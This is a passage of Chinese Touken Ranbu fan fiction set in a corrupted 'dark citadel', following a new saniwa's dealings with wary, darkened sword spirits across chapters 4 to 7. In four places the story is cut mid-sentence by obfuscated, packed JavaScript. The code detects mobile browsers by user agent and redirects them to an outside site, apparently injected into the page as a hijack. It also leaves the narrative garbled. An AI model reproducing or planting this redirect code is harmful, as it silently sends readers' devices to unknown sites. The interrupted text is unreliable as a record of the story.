清水悠盯着他的背影看了两秒,心里想,也不只有他这样。 这个本丸每一振他目前已经见过的刀剑,都不约而同维持着这样的态度。就像每个人都在偷偷借用大俱利伽罗的经典台词。 不过,算了。想要他们那么快卸下心防本来也不现实。对于这个本丸的情况,清水悠心里始终很冷静,他是来想办法解决问题的,不是来结仇的,因此带伤出阵的那六位,他其实也没打算拿他们怎么样。 强制他们按照自己的安排进行?就算他不在乎自己在他们心中的形象,也要注意他们的心情。 怀柔政策一个个扣开心门?前面的审神者已经试过了,显然行不通。 有着可怜过去的家伙才是最难搞的啊。 清水悠微微叹了口气。 当顾及他们心情的时候,就已经天然处于劣势了呢。 剩下的刀剑也很快被手入完毕,转眼到了晚饭时间,清水悠靠在手入室门口,看着毫不留情四下散去的付丧神,意识到大概自己的晚饭也需要自己来做。 刀剑男士们只要有审神者提供的灵力,便不需要吃饭也可以,这意味着本丸内有这方面需求的只有他一个。 “好吧。”清水悠低低吐出一口气,活动了一下筋骨,“好久没做过了……应该还记得吧。” “什么什么?”围观了一天的鹤丸国永凑上前来,“要去做什么吗?” 清水悠张嘴想回答他,却在将要说出答案时忽然顿了一下。他遥遥看向本丸的另一边:“……啊。是啊,打算去做点晚饭吃。” 鹤丸国永顺着他的视线看过去,意识到那是时空转换器的方向。 清水悠的视线只停留了两秒,就毫不在意地收回视线,往厨房走去。 出阵的人回来了。如他所料,没受什么重伤。 他注意过第一部队的状态和他们去往的年代,这次出阵对他们来说并不是什么难题,哪怕遇到了违非检使也能从容撤退。既然这样,又不是刚出生嗷嗷待哺的雏鸟,还需要他过多担忧,自然能照顾好自己。 既然死不了,那现在——当然是先去吃晚饭啦。 忙碌了一天也很累了呢,剩下的事情明天再说吧。清水悠心安理得地揣着手走向厨房。 鹤丸国永 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511102|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 依然亦步亦趋跟在他身后,摸着下巴不知道在想什么。 两人就这样又安静着进了厨房,安静着做完饭菜,安静着在餐厅坐下。这时鹤丸国永才忽然反应过来:“咦?没有我的吗?!” 清水悠掀掀眼皮,想送过去一个无言的眼神,又意识到对方看不到。 “近侍来找审神者投喂,这种事还真是头一次听说呢。” 鹤丸国永拖着腮,拉长语调,“那可真是冤枉我了。我有想过要帮忙的哦?但是你不是不同意嘛。” 清水悠笑了一声:“重修一下国文吧,鹤丸殿。‘帮忙’和‘捣乱’可是两个意思的词。” “喂喂——” 清水悠没再理他,专心致志地吃完晚饭之后,才擦擦嘴重新抬起眼:“跟在我身边是监视我的意思吗?” 鹤丸国永看着他,由于歪着脑袋的动作,白发有几缕搭在脸上。 他的语调里带着些抱怨:“你很喜欢这样突然发问吗?真是的,这可不是有意思的惊吓啊。” 清水悠只是看着他,并不说话。 看起来这个问题不得到回答是没办法揭过去了。 “我是近侍,不是吗?”鹤丸国永微微坐直了身子,“而且——狐之助跟你说过吧?这个本丸的氛围太沉重了,就算是我也恶作剧不下去了啊!现在难得有人能陪我玩,我当然要好好珍惜啦。” 说谎。 不是这个原因。 鹤丸国永如果有心想调动气氛,没人能拒绝他。同样的,他如果真的想玩,也绝不可能就像这样安安分分一直待在自己身边。 清水悠无意识地用手指关节敲了敲桌面,然后起身端着空碗离开了。 他回到厨房准备洗碗,刚一进门,就发现里面多了一个身影。 深肤色的男人看见他,主动上前一步,想要接过他手里的碗:“审神者大人,请让我来做吧。” 他拿了一下,没拿动。 清水悠一点没有松手,他看着眼前的付丧神,从头看到尾,在上面几道血痕上略微停留,最后视线停在他腰间的本体打刀上。 刀鞘遮挡得很严实,看不见里面刀刃的受损程度。 “审神者大人?” 打刀又唤了一声,唤回他的理智。 压切长谷部,一振有名的主控刀,对审神者有着狂热的忠诚与喜爱——当然,这仅限于第一次赋予他人形的那位审神者。 但这并不是说他会只效忠一任审神者。他的认主几乎是刻在人设里的本能,正常来讲,他是对审神者最无害的一振刀剑。 只是现在,前主并没有做过什么错事,于是无法忘记前主、又无法效忠新主。这样的状态,对他来说……是否也会感到痛苦呢? “受了伤就不要再碰水了。”清水悠避开他的手,绕过他把碗放到池子里,放水开始冲洗,“回去休息吧。” 压切长谷部于是收回手。他当然知道一点伤而已,审神者完全可以帮他进行手入,但他什么也没说,只是恭敬地退下了。 走到餐厅门口时,他看见里面一双熠熠闪光的金眸,鹤丸国永笑着和他招了招手,而他回应般地点了点头,身影消失在门外。 5. 第5章 在这之后没什么事要做,唯一需要操心的事情就是在今天白天告知了他们之后的日课由自己安排。于是清水悠翻开刀帐定好明天的人选,将安排交给作为近侍的鹤丸国永。 或许……也该找个机会开一次会? 念头一转而过,清水悠暂且把它压在了心底。 以目前冷凝的关系,开会也起不到什么作用。这种事还是以后再说吧。 他打了个哈欠,忽然意识到自己明明是刚死,却在死后第一天就突然多出这么多事,真是人心不古世风日下…… 事已至此,先睡觉吧。 天守阁二楼的灯熄灭,本丸彻底陷入黑暗。 - 冷风呼呼的吹进屋内,一开始只是裹挟了一丝寒气,没多久风就变得越吹越大。 窗户被吹得隆隆作响,书页被吹飞的刺耳声音在夜里响起,床上的少年动了动,终于忍受不了噪音与寒风,揉着眼睛从床上坐起。 “才只是半夜……” 他看了眼天色,嘟囔着下床来捡起掉到地上的记事本,又好好将窗户合上。 风被拦在窗外,木质窗框看起来并没有多么结实,让人忍不住担心它是否会被吹落。 少年没在意这些。 他还很困,意识模糊得要命,只想立刻回到床上去盖好被子,重新陷入沉沉的睡眠。 只可惜,他现在注定睡不好觉了。 一只膝盖才刚接触到床面软软的被单,门外就响起有节奏而克制的三声叩门声,等待两秒后,听起来沉郁的青年音闷闷地响起。 “午睡该结束了,审神者。” 少年愣了一下。 ……审神者? 午睡? 一只脚站立不稳,他的身子晃了一下,不得不闭了闭眼迫使自己清醒。那双黑眸很快变得清明,少年皱着眉重新打量了一下周边的环境,后知后觉意识到这并不是他熟悉的环境。 这种情况、再加上他此刻与平时微妙不同的状态,他都很熟悉,因此很快反应过来,大概是睡着之后又做了乱七八糟的梦。 就像正常人做梦甚至根本意识不到自己是在做梦,更不用说回想起现实记忆或者以前的梦境了一样,少年知道自己每次做梦时所有记忆都会是模糊的,能记得的东西或者设定基本只能符合情景。 虽是这么说,但总归不会是什么大问题,睡醒了也就都会忘记,于是他想了想,顺理成章地决定先顺着梦境走。 “午睡?”他出声问道,“天色不是还没亮吗?” “天不会亮的。你在期待什么呢?”那道声音说着这话时有点恹了下去。就这么两句话的时间,他已经像是没什么耐心了,直接催促道:“不要再耽误时间了。” 少年拧了拧眉,没再犹豫,穿好鞋走到门口将门推开。 门外站着一个用脏破的白被单裹住自己的青年,仅仅能从被单下看见几缕金色的头发。他没有要抬头的想法,见少年出来了,就垂着脑袋转身,一言不发地带路。 少年却没第一时间跟上去。 他呆立着沉默了一会儿,才加快脚步追上去。 正常情况下自然是看不清对方的脸的。但他现在个子还没长多高,天然比对方矮了一截,仰起脸看去的时候,刚巧看清了那双红色的眼瞳。 ……搞什么。 不会吧? 山姥切国广没有和他聊天的意图,少年于是也没问。他安安静静的跟在后面,时不时扫视一下周围环境,一双眼漆黑,从里面分辨不出情绪。 最后到达目的地时,少年观察了一下,猜测这大概是手入室。 到这种地方来一般就只有一个目的。不出所料,里面等待着三个付丧神,蓝发的青年表情阴沉可怕,手里小心翼翼抱着一把濒临碎裂的短刀,橘色长发的少年站在一旁,一动不动,眼睛死死盯住它,在听见动静时猛然扭过头来。 他看见少年的到来,立刻一步上前动作粗鲁地拽住他的手腕将他扯过来,语气急促:“快一点!给退手入!” 他自己身上的伤也不轻。少年几乎能感到那只拽住他的手在微微颤抖,他感觉自己一甩手就能把这振重伤的乱藤四郎拽倒,但他没有动。 那只手用力得几乎要掐进他的肉里,少年乖顺地被拉过去,在粟田口大家长一期一振带着警告的目光下将短刀接过。 他的手很稳,心里却在微微叹气。 山姥切国广那一瞬间的红他还可以欺骗自己说看错了。但是进到手入室之后,乱藤四郎的眼睛已经看不出一点湛蓝色,一期一振身上的阴郁气息尤甚,青年站在阴影里,他甚至有一瞬间分不清他的发色究竟是黑色还是蓝色。 真是的,搞什么啊。 他怎么会梦到暗黑本丸这种同人设定? - 少年漫无目的地在本丸里游荡。 将五虎退修复之后,白发的怯懦少年重新现世。一期一振松了口气地抱住他,没再多看少年一眼,带着乱藤四郎十分干脆地离开了手入室。 少年那句让他们也修复一下的话还没说出口,三个人就已经消失在门外。 就像是若非是因为遇到那般紧急的情况,他们绝不会接近少年一步……山姥切国广也早就不见了人影,他从手入室出来之后一时不知道该去哪儿,于是随性地决定在本丸到处走走看看。 和正常设定里的暗黑本丸一样,四周环境阴森可怖,天空被阴云笼罩,血月藏在厚厚的云层中散发着微弱的光。 没什么好看的。硬要说的话,他唯一的感想就是总觉得这里不该是这样。 这像是句废话,正常本丸本来就不是这样。 他走着有点无聊了,最后停在一棵树下。不知道有多久没有人打扫过卫生了,他拂开堆积的枯叶,毫不在意地席地而坐。 说起来,按照暗黑本丸的设定……他是不是不应该这样毫无防备地独自一人四处走? “啊呀,终于注意到了吗?” 头顶忽然响起说话的声音,眼前猝不及防出现一张倒吊着的脸。少年被吓了一跳,没有注意到对方也微微怔愣一瞬。 “噗嗤。”突然出现的家伙嘲笑一声,往后一翻轻盈落地,“吓到你了吗?看你到处走来走去的样子,还以为你不会害怕呢?” “……鹤丸。”少年依然瞪大眼看着他,喃喃出声。 眼前的鹤一身黑色,黑发金眸,额发一缕突兀的白色挑染。他没像平时那样在惊吓之后弯起眼笑着道歉,只是居高临下的看过来,语气里藏着恶意。 只是少年并不是因为他暗堕的形态而久久回不过神。都已经在暗黑本丸了,这种特产随处都是也是正常的。 他的视线也并不落在鹤丸国永本人身上。不如说,他几乎看不到他的人,仅仅凭借声音本能地判断对方的身份。 眼前只能隐约看出是一个人形的物体——分辨这个对他来说都有点难。大片大片的黑色雾气缠绕在他的身上,少年不知道那是什么,却因为直面它们能够明确感受到其上散发出来的恶意气息。 在这样的背景下,那究竟是什么几乎已经呼之欲出了。 但是,如果真如他猜测一般, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511103|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是暗堕的气息……鹤丸国永的暗堕已经到了这样严重的地步,他真的,还好吗? 这样想着,少年也就这样问了。 “你……感觉怎么样?” “我?”似是没想到他是这样的反应,鹤丸国永歪了歪头,“不关心山姥切,也不关心粟田口,却来关心我吗?” 少年蹙着眉摇了摇头,却不知道怎么解释。 要他怎么说?不是的,是因为你身上的暗堕气息太恐怖了,让我怀疑你下一步就要变成时间溯行军了——这真的不会被当做是挑衅吗? 鹤丸国永好像也没有等他回答的意思。 他双手抱着脑袋,慢悠悠地后退两步,唇角勾起的弧度依然让人分辨不清他的意图。 “这样没新意的景色可没什么好看的哦。如果没什么事的话,审神者大人还是赶紧回天守阁去待着吧?” 他像是只是为了来提醒这一句而已,说完就毫不留情地离开。 少年盯着他的背影,依然蹙着眉,总觉得这样的情形有些许熟悉。 但是究竟是在哪里…… “……嘶!” 甫一去想,头部就猛然传来一阵尖锐的剧痛。他的瞳孔一缩,不自觉抱住脑袋。 手指用力到泛白,有那么一瞬间,他的身形好像化为了一团雾气,又好像只是错觉。 清水悠大口大口喘着气。 哪怕是病时也没经历过这样恐怖的头痛。他以为自己的冷汗几乎打湿了衣衫,回过神来后才发现仅有薄薄的一层。 头痛来得快去得也快,几乎被咬破的唇角被自己放开,他把手从头上拿下,盯着手心看了一会儿,缓缓撑地坐起来。 黑发有些汗湿,他随意地把落到眼前遮挡视线的碎发抓开,再次看了看周围景象。 树枝的影子张牙舞爪,草木枯萎,毫无生气。 空气里弥漫着恶意的气息,呼吸久了都会令人产生头晕目眩的错觉。清水悠感应了一下,本丸虽充斥着自己的灵力,与自己的联系却似有若无。 他垂下眸,盯着脚下的枯叶看了一会儿,然后选择一个方向,朝那边走去。 随着时间流逝,周围环境逐渐变得陌生。前面是他完全没去过的地方,不管怎么看都是迷路了的少年脸上却看不出半点慌乱,他走得气定神闲,就像是真有那么个目的地。 ——不过的确只是在随处乱走就是了。 清水悠默默想道。 走了不知多久,前面出现陌生的部屋。他脚下的步履微微停滞了一下,很快如常地继续迈开步伐,走到门前停下。 他甚至还打算礼貌地敲敲门,不过没等他的手叩上门板,大门就吱呀一声打开。 “有什么事吗?” 绿色短发的猫眼青年冷漠地看着他,一手还扶在门上,随时准备将门关上。 啊,是源氏重宝那两兄弟的房间。 清水悠视线微微往里探去,可惜还没看见什么,膝丸的手就扶在了自己的本体刀上。 太刀青年眯起眼,话语里带着浓浓的威胁:“你要是闲得无聊,下次出阵就去让长谷部带上你。正好我们人手不足。” “好啊。但是我敢去,你们敢带吗?”清水悠说。 膝丸呆了一下:“?” 清水悠收回视线,笑了声:“开个玩笑。” “鹤丸让我回天守阁去,但是我迷路了。”少年抬起眼,本就漆黑的眼在暗色的环境下照不出任何光亮。虽是说着请求的话语,他的语调却平淡又干巴,没有半分求人的意思,“你能送我回去吗?” 6. 第6章 按理说,梦里不会想起现实的事,这是铁律。 但是在当时,清水悠尝试去回想的时候,脑袋出现了猛烈的疼痛感,然后就真的回想起了一些东西。 比如他绝不应是现在这样的少年体型。 比如他已久病将死,却被父母不甘愿地砸钱吊着命。 如果能回想起来,那是不是说明……这其实不是做梦? 清水悠不知道,也无从证明。但是他现在所处地方的传闻他倒是有听说一二,如果真的是这样的地方—— 他还能回去吗? 脑海里盘旋着似是恐慌的念头,心底却萌发出一丝从累积的尘土淤泥中破土而出的希冀。 少年看着眼前薄绿色短发的太刀,深黑的眼眸中藏着一些对方读不懂的情绪,情绪平淡,整个人显得安静而孤独。 膝丸皱着眉看了他半天,他当然看不出清水悠心里在想什么,只是终于确认这个年龄不大的审神者好像是认真的。 “……”他张了张嘴,像是想说什么,最后却一句话也没说。手掌用力,直接准备将门关上。 就像是懒得理清水悠的装疯卖傻,一句话都不想再和他多说,所以打算直接与他隔绝交流。 清水悠扬了扬眉,还没伸手去阻止,就听见屋子深处传来一道软绵绵的声音。 “哎呀……有客人来了吗?” “兄长!”膝丸立刻回过头去,“您休息好了吗?” “在外面吵吵闹闹的,声音都传到我梦里了呢。” 米白色头发的青年从阴影中缓缓走出,一双猫眼里蕴含的血色令人感到不安。他的语调软糯,像是毫无攻击性,与他对视上的清水悠却立刻感到一种巨大的威胁。 危险。他的直觉在叫嚣。 膝丸还站在门口,像是为自己打扰到了兄长的美梦而感到愧疚,立刻发誓:“非常抱歉!我现在就让他离开!” 髭切却摆了摆手:“审神者大人既然来了,又怎么好意思将他拒之门外呢?那个……” “膝丸!兄长!” “总而言之,弟弟也该学一学待客之道了呢。”他忽视掉身侧青年委屈的神态,走上前来,凭借身高优势居高临下地打量了一下清水悠,不知道是不是清水悠的错觉,他的神情里好像有一丝意外。 这丝意外转瞬即逝,清水悠仔细看去时,就已再找不出半点端倪,像是只是他的错觉。 他注意到,虽是说着不能拒之门外,髭切却也没有让他进门的意思,依然堵在门口,不知道是出于什么目的地打探他的来意。 真的是想帮忙送他回去?他可不信这个白切黑会有这么好心。 就像他不信对方的说辞一样,髭切好像也没信他所说的迷路。或许在付丧神们看来,审神者掌管着整个本丸,知晓整个本丸的风吹草动,怎会连回去的路都不知道? 换个说法,你会在你家迷路吗? 说出来也不怕人笑话。 “审神者大人要是这样不配合的话,”髭切轻轻叹了口气,“我也没有办法帮您呢。” 虽然他这么说,但这的确是清水悠的其中一个来意。像这样话绕了一圈最终又回到原点的情况清水悠也不恼,他话锋一转,忽然变换了话题。 “不请我进去坐坐吗?”他的视线扫向黑沉沉没有点灯的屋内,意有所指。 话音刚落,旁边的膝丸立刻想要说什么,大概是让他不要得寸进尺之类的话? 但是话还没说出口就已被髭切将手搭在肩上阻拦。米白发青年看着他,表情有些奇异:“啊呀……难道审神者大人是累了吗?” 清水悠装作没有听懂他的话,安静地等待回答。 见他这副模样,髭切笑了一声,嗓音里有些愉悦。 “那就没办法了呢。是审神者大人的要求的话,也不得不从呀。” 太刀青年终于让开了身子。 …… 屋内没有一点光源,在本丸这样阴沉的环境下几乎可以说是伸手不见五指。膝丸跟在清水悠身后,将手放在肩上推着他走,虽然可以解释为怕他看不清撞墙,但不管怎么看也更像是在押送犯人。 在场三人却没人觉得不妥。 清水悠一边顺从地被推着走,一边转着眼睛四处看。他当然看不清什么东西,黑暗能让人失去安全感,髭切看了他一眼,猜测他的行为或许是出于下意识的防备,感到有些怜悯。 既然害怕,又为什么要主动踏入危险呢? 这个审神者是这样的性格吗? 然而清水悠其实只是在想,太刀在夜里也几乎等于睁眼瞎吧。这两兄弟的爱好还真是独特。 很快,他听见前面的脚步声停了下来,他惯性的往前多迈出去一步,脚下却绊到了什么东西。 恰逢此时,身后的膝丸松开了手,他猝不及防之下往前一栽,一只手立刻稳稳把人接住。 髭切叹息道:“审神者还是注意一下为好呀。” 清水悠没接话。他打了个哆嗦,迅速站稳之后退开两步,又被膝丸拦住,压着肩膀让他坐下。 那双手在他坐稳之后就很快抽离,随后脚步声渐渐远去,在不远处响起轻微的拿取东西的动静。 髭切在他对面坐下,没再开口,屋里一时只剩下膝丸在一旁不知道做什么的声音。清水悠能清晰感觉到对方那双血色的眼眸正在看着自己,他却走了神。 他的脑袋现在还有些麻木,像是处于低温环境被冻得思维迟钝之后刚刚回到温暖的屋子里,血液缓慢开始重新流动。 刚才髭切接住他的那一瞬间,他差点以为自己已经死去。 那种极端的……寒冷?暴虐?在接触到他之后疯狂往他身上袭来。清水悠甚至记不清自己究竟是被吓了一跳然后下意识退开、还是就像被突然冻了手一样条件反射撒开。 ……这也是暗堕气息造成的吗? 清水悠无意识往膝丸的方向看去一眼,那为什么膝丸在碰到他时,他没有产生过这样的感受? 因为他的暗堕没有髭切深? 这么一说的话,他的动作一顿,想起刚才的那振鹤丸国永。 按照他那样黑气环身的情况,如果这东西对他们自己也有和自己刚才情况相似的影响……他们又该有多难受? “在想什么呢?” 声音忽然在耳边炸响,眼睛感受到了由于对方说话而洒上来的气息。清水悠意识到在自己走神的时间里,髭切不知何时已凑到了自己面前。 他的眼前依然一片漆黑,却好像看见了血色的光芒一闪而过——那是髭切眼睛的颜色。 “在想,”他一动不动地说道,“该怎么解决你们的暗堕问题。” 暗堕是不可逆的,这话坦诚而又天真,像是小孩子不懂事说出来的话语,令听者发笑。髭切也真的轻笑了一声,“这个问题啊……审神者大人如果愿意永远留下来,说不定问题就迎刃而解了哦?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511104|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这话说得轻飘飘,其中蕴含着的恶意却是再迟钝的人都能感受得到。 ——留下来,做我们的囚徒,被我们神隐。 然而被暗堕的神明看着的那人却毫不在意地点头。 他说道:“好啊。” 过于果断和干脆,反而让髭切愣了一愣。他正想要说些什么,门外却忽然响起了敲门声。 “髭切殿,把人放出来。”门外的人嗓音清澈,语气中却蕴含着一股不悦。 “……”髭切的动作一顿,最后还是缓缓退开,过去打开门,“来得真快呀。” 加州清光敏锐地意识到他身上的暗堕气息再次加重了,警惕地后退一步,“你知道规矩的吧?大家要是知道你现在的做法也不会同意的,可别想对我动手。” “不不,怎么会呢?我才不会因为这种事就砍自己人呢。” 他语气里有些遗憾,“就是可惜了弟弟刚泡好的茶,还没让客人尝一口呢……泡茶丸,把审神者大人扶出来吧。” “我叫膝丸,兄长!”屋内传来应答声。 清水悠在膝丸将他扶起来的时候才后知后觉意识到自己身体的乏力。 他一边往外走一边回忆,门外的加州清光看见他的表情就知道他在想什么,啧了一声,毫不顾忌源氏的两兄弟还在旁边就抱怨道:“谁给你的胆子往暗堕付丧神屋内走的?很喜欢找死吗?大家的屋内都有药研调制的压制污浊气息的药物,对你们人类却是剧毒。” 他动作粗鲁地把清水悠拽过来,正想赶紧离开这里,清水悠却突兀地一把将他的手甩开。 加州清光:“?” 他迷惑地看过去,清水悠低着头甩了甩脑袋,脸上平静的神情终于被打破,皱着眉抬头道:“……不用了,我自己能走。” 髭切在一旁又笑了两声。 加州清光看着他苍白的脸色和表达拒绝的肢体动作,既然对方不接受帮助,那他也懒得说什么。只冷冰冰地道:“既然这样,走吧,送你回天守阁。” 清水悠跟在他后面,离开前往后看了一眼。 源氏兄弟的部屋深处依然漆黑,像是巨兽的大口,等待无知者自投罗网,深入腹中。 清水悠收回视线,跟上加州清光的步伐。 一路上很安静,依然看不见别的付丧神。加州清光没有要照顾他身体虚弱的意思,大步大步走得很快,清水悠也不叫他走慢一点,勉强自己跟上。 这样勉强自己的行为他倒是做惯了。早些时候四处求医,每天都要奔波很多地方,他的身体虚弱于是买了轮椅,却因为不忍心父母舟车劳累还要推着他这个负担,于是经常会说自己能够坚持而跟着赶路。 和现在的感受倒是没什么差别。 甚至由于习惯了,在这样的过程中,他还能抽出精力来和加州清光搭话:“我好像没有见到过本丸里有灯光。” “那是当然了,”加州清光说道,“那种药物遇到光就会被分解。再加上大家适应了它之后,可以借助它‘看’到东西,也就没什么差别了。” 这么说的话,原来不是个人爱好啊?清水悠回想起太刀两兄弟在漆黑的屋里行动没有半分影响的样子,默默把心里是因为习惯了才这么熟练的猜测划去。 加州清光狐疑地看他一眼,“总觉得你在想什么不好的东西。” 说完这话,也没等他回答,停下脚步。 “到了,你自己进去吧。” 7. 第7章 清水悠醒来的时候,下意识皱起眉。 自己的情绪不太对,像是做了个不太好的梦。 他揉了揉太阳穴,姑且先没有在意这件事,起身整理好自己,然后完成洗漱。 不知道是不是因为听见了屋里的动静,鹤丸国永在门外敲敲门:“睡醒了吗?要不要我帮你准备早餐?” 清水悠动作一顿。 他往窗外看了一眼,又对自己的这个反应感到困惑。一时得不出答案,他很快便无视掉这一系列的不对劲,拉开门:“还是算了。我姑且还想好好吃一顿早饭。” “这可就是误会我了。”鹤丸国永说道,“我也不是只会做怪味餐点的。” “还会——炸厨房?”清水悠随口调侃。 “喂喂。” 鹤丸国永嘟囔着,跟着他走到了厨房,没再继续这个话题。 经过昨晚的晚饭,清水悠逐渐捡起了自己的厨艺技能。他熟练地做着准备,不动声色同身边的人搭话:“近侍的房间看起来好像一直都是你在居住。” “是啊。”鹤丸国永在旁边围观,随口回应,“因为近侍一直都是我嘛。” 清水悠偏过脑袋,看向他,“别的付丧神没有意见?” 这话鹤丸国永可就不爱听了。 他双手环胸,视线终于从清水悠的手上动作挪开,一双金眸扫过来:“是我的错觉吗?——我好像感觉到了偏见?” 见他认真起来了,清水悠反而又垂下了头,放下手中的刀,去找调味料,像是只是随口一说。 “怎么会,毕竟我也不太了解你。” “嗯?”听到这话,鹤丸国永反而好奇了起来,“我记得,时政似乎会往现世投放有关于我们的影像资料之类的?好像还有游戏什么的,听说游戏方法和本丸运作很相似,甚至一度被审神者们称之为入职培训呢。” 没想到他知道的还不少。清水悠又看了他一眼,嗓音清冽:“这些是时政告诉你们的?” 鹤丸国永却摆了摆手,唇角噙着一抹得逞的笑意:“这一招没用了哦。同样的惊吓手段用多了可就会让人有所防备了,如果是我的话,绝对不会犯这种错误!” 白色的鹤把自己眉眼间的情绪藏得严严实实,哪怕听到突然的问题,也再没暴露出什么信息。 清水悠有些可惜。 这种时候,还是那种非常警惕地隐瞒问题、不敢暴露一丝的类型要可爱些呢。 这些平安时代的老刀们,一个个摆明了“我有问题”,却又滴水不漏地只说“就不告诉你”。难搞程度实在是要高很多。 “你还没回答呢!”鹤丸国永还记得刚才的话题,“明明看起来对本丸的大家都很熟悉的样子,结果其实并不了解吗?” 先前手入室那里的那一幕令人印象深刻,瞬间就让靠谱审神者的形象深入人心。当时大概有不少刀剑都在想,如果这位审神者锻出了自己的刀剑、拥有了自己的本丸,一定会很幸福。 谁料现在这是就要自爆了? 清水悠摇摇头:“不,只是对你不了解。” 鹤丸国永捂着胸口,感觉心脏中了一剑。清水悠又补充道:“因为我没有锻到你——就是在那个你说的游戏里。我不喜欢从别人那里了解刀剑,毕竟每个人的刀剑性格都可能有所不同,所以除了我的刀帐已经有的刀剑,别的我都不是很熟悉。” “不过难免会看见一些有关于你的侧面评价,似乎很多本丸都不会安排你做近侍,所以产生了疑问。” 虽然是这么说,但其实他是有鹤丸的。 但是在死之前才得到的,自然也完全没有了解,和没有没什么差别吧。这么说也不算有错。 清水悠不打算过多解释。 “原来如此。”鹤丸国永若有所思地摸摸下巴。 “既然这样的话,”他笑吟吟地道,“就从现在开始了解如何?现在开始也不算迟吧!” 清水悠将做好的早饭装盘出餐。 鹤丸国永讶异地发现,今天的早餐有他的一份。 - 吃过早饭后,昨天仓促之下没来得及忙碌的事情就要提上日程。 昨天狐之助在将他送到之后就去忙本丸内审神者具体交接的事了——虽然在时政那里只需要签个字的事,但真正实施下来麻烦的事还有很多,都需要狐之助去解决——忙了整整一天才彻底搞定,今天顶着黑眼圈等在天守阁。 “泉大人早上好!昨晚睡得好吗?”狐之助努力撑着打架的眼皮,用活跃的语调说道。 清水悠脚步顿了一下,看向它浓重的黑眼圈。 ……真努力啊,是真的很想让审神者留下呢。 “还不错。”他说道,“之前的日课安排表有吗?麻烦给我看看。” 狐之助积极地应了一声,立刻效率很高地找了出来。 “谢谢。”清水悠接过来,没急着看。他继续对狐之助说道:“不出意外的话,今天应该没什么需要你帮忙的地方了。你可以放一天假。” 狐之助表情一呆:“哎?” 经历了这么多次审神者的到来与离开,它已经下意识会往最坏的方向去思考。因此清水悠这话一出,它咀嚼了一下这话的意思,表情越来越惊悚。 “哇”的一声,狐之助飚着眼泪扑上去一把抱住清水悠的脚踝:“泉大人!!!狐之助还能坚持!狐之助不会偷懒的!!以后狐之助一定会加快工作的效率,不要就这么对狐之助失望啊呜哇哇哇——” 它突然扑上来,清水悠下意识后退一步,在保护措施的帮助之下,狐之助抱住的那一团雾气就从它的爪子中飘离了出去。 一时之间被“狐之助”三个字洗脑,清水悠反应了两秒才明白它的意思,表情有一瞬间崩塌。 他忍不住虚了虚眼睛。 “……我的意思表达得很不明显吗?” 鹤丸国永早就在一旁大笑了,他看着身侧的审神者,几乎能从那一团纯白雾气的波动中看出他此刻的无语。 “哈哈哈哈狐、狐之助,”他笑了半天才想起来帮忙解释,“你是怎么想到这方面去的?这可真是出乎意料的惊吓啊!” 清水悠顺着他的话叹气道:“是啊,这可真是吓到我了。” 被无意识抢了口头禅的鹤丸国永蹲下来,轻笑着揉了揉眼泪糊了满脸的狐之助的脑袋。 “他的意思是,你忙了一天辛苦了,可以去休息了。” “没有嫌弃你的意思哦。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14511105|155030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >狐之助愣愣看着鹤丸国永,他的金眸里情绪温和,认认真真地和它解释。它又看向审神者,不确定的问道:“是、是这样吗?” 清水悠发出一声无奈的叹息。 “是啊,就是这样。” 狐之助所想象的那个可能……未免也太过分了点。只有被吊路灯的资本家才会那么做吧? 狐之助这才吸吸鼻子,慢慢稳住情绪。恐慌退去之后,它就立刻意识到自己干了一件多愚蠢的事,生怕本来审神者没有生气,却因为它的操作反而对是否要接手这个本丸重新开始考量,立刻又要土下座:“泉大人——” 它没能继续得下去,鹤丸国永揪着它的后脖颈,把它提起来了。 “好啦,去休息吧。”鹤丸国永无奈道,他拎着手里的狐之助,扭头对审神者请示,“我稍微离开一会,先送它回房间哦?你自己一个人可以吗?” 清水悠对这种哄小孩的语气敬谢不敏,摆了摆手里的日课安排记录。 鹤丸国永走之后,他也没有回自己的房间。一楼有审神者专属的办公区,他走进去坐下来,开始翻看。 